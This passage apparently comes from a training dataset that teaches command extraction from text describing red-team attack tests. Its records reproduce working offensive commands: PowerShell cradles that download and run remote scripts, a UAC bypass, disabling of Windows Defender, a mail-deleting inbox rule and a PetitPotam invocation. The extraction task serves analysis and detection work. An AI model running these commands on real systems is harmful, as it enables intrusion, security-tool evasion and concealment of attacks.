    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This Windows 10-specific method opens the backup and restore window upon execution, utilizing a UAC bypass technique as explained in https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/. Run it via the command: Powershell.exe \"IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\\Windows\\System32\\cmd.exe'\"; The following command demonstrates the use of a Powershell MsXml COM object that bypasses proxies and cache, although it doesn't write to cache locations: powershell.exe -exec bypass -noprofile \"$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText\". Success is indicated by the message 'Download Cradle test success!'.",
    "output": "{\"command_list\": [\"Powershell.exe \\\"IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\\\\Windows\\\\System32\\\\cmd.exe'\\\"\\n\", \"powershell.exe -exec bypass -noprofile \\\"$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For executing an encoded VBS script within a malicious document (which shows 'ART T1059.005' in a message box upon success), utilize this command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\nInvoke-Maldoc -macroFile \"PathToAtomicsFolder\\T1059.005\\src\\T1059.005-macrocode.txt\" -officeProduct \"Word\" -sub \"Exec\"\nA 64-bit version of Microsoft Office is necessary for this module to work properly.; To simulate malware data extraction techniques, the module creates a memory string, retrieves its pointer, and copies the contents to a file. This is achieved with the command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing) \nInvoke-Maldoc -macroFile \"PathToAtomicsFolder\\T1059.005\\src\\T1059_005-macrocode.txt\" -officeProduct \"Word\" -sub \"Extract\"",
    "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\\\" -UseBasicParsing)\\nInvoke-Maldoc -macroFile \\\"PathToAtomicsFolder\\\\T1059.005\\\\src\\\\T1059.005-macrocode.txt\\\" -officeProduct \\\"Word\\\" -sub \\\"Exec\\\"\\n\", \"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\\\" -UseBasicParsing) \\nInvoke-Maldoc -macroFile \\\"PathToAtomicsFolder\\\\T1059.005\\\\src\\\\T1059_005-macrocode.txt\\\" -officeProduct \\\"Word\\\" -sub \\\"Extract\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For checking network connectivity with Google's Public DNS as the default target, execute this command: ping -c 4 #{ping_target}; The Test-NetConnection cmdlet in PowerShell allows you to test internet connectivity with ICMP/Ping, defaulting to 8.8.8.8 when you run: Test-NetConnection -ComputerName #{target}",
    "output": "{\"command_list\": [\"ping -c 4 #{ping_target}\\n\", \"Test-NetConnection -ComputerName #{target}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The named pipe executable, which pauses for 30 seconds to enable client-server message exchange, can be run with the command: \"PathToAtomicsFolder\\..\\ExternalPayloads\\build\\namedpipes_executor.exe\" --pipe 3.; For inter-process communication via named pipes, execute the following command from the Named Pipes Micro Emulation library: \"PathToAtomicsFolder\\..\\ExternalPayloads\\build\\namedpipes_executor.exe\" --pipe 4. The process will pause for 30 seconds to allow message transmission.",
    "output": "{\"command_list\": [\"\\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\build\\\\namedpipes_executor.exe\\\" --pipe 3\\n\", \"\\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\build\\\\namedpipes_executor.exe\\\" --pipe 4\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test creates an M365 inbox rule that automatically deletes emails containing certain keywords, executed via the command: Import-Module ExchangeOnlineManagement\n$password = ConvertTo-SecureString -String \"#{auth_password}\" -AsPlainText -Force\n$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{auth_username}\", $password\nConnect-ExchangeOnline -Credential $credential -ErrorAction:SilentlyContinue\nNew-InboxRule -Mailbox #{target_mailbox} -Name #{mail_rulename} -SubjectOrBodyContainsWords (\"phish\",\"malware\",\"hacked\") -Confirm:$false -DeleteMessage:$true; This module executes PetitPotam's Windows binary, coercing authentication via the command:\n& \"#{petitpotam_path}\" #{captureServerIP} #{targetServerIP} #{efsApi}\nWrite-Host \"End of PetitPotam attack\"",
    "output": "{\"command_list\": [\"Import-Module ExchangeOnlineManagement\\n$password = ConvertTo-SecureString -String \\\"#{auth_password}\\\" -AsPlainText -Force\\n$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \\\"#{auth_username}\\\", $password\\nConnect-ExchangeOnline -Credential $credential -ErrorAction:SilentlyContinue\\nNew-InboxRule -Mailbox #{target_mailbox} -Name #{mail_rulename} -SubjectOrBodyContainsWords (\\\"phish\\\",\\\"malware\\\",\\\"hacked\\\") -Confirm:$false -DeleteMessage:$true\\n\", \"& \\\"#{petitpotam_path}\\\" #{captureServerIP} #{targetServerIP} #{efsApi}\\nWrite-Host \\\"End of PetitPotam attack\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For executing an MSI payload with embedded JScript, utilize the Win32_Product class with the command: Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = '#{msi_payload}' }; To perform process injection using C# with five different techniques, run the following command: \"#{exe_binary}\"",
    "output": "{\"command_list\": [\"Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = '#{msi_payload}' }\\n\", \"\\\"#{exe_binary}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Although these commands fail when run as administrator (requiring System privileges), they're commonly attempted by attackers trying to disable Windows Defender ATP functionality. Upon execution, you'll see two access denials and the service status, using: sc stop WinDefend\nsc config WinDefend start=disabled\nsc query WinDefend; The following registry modification will disable Windows Defender and gray out its settings interface upon reboot: Set-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\" -Name DisableAntiSpyware -Value 1.",
    "output": "{\"command_list\": [\"sc stop WinDefend\\nsc config WinDefend start=disabled\\nsc query WinDefend\\n\", \"Set-ItemProperty \\\"HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender\\\" -Name DisableAntiSpyware -Value 1\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module 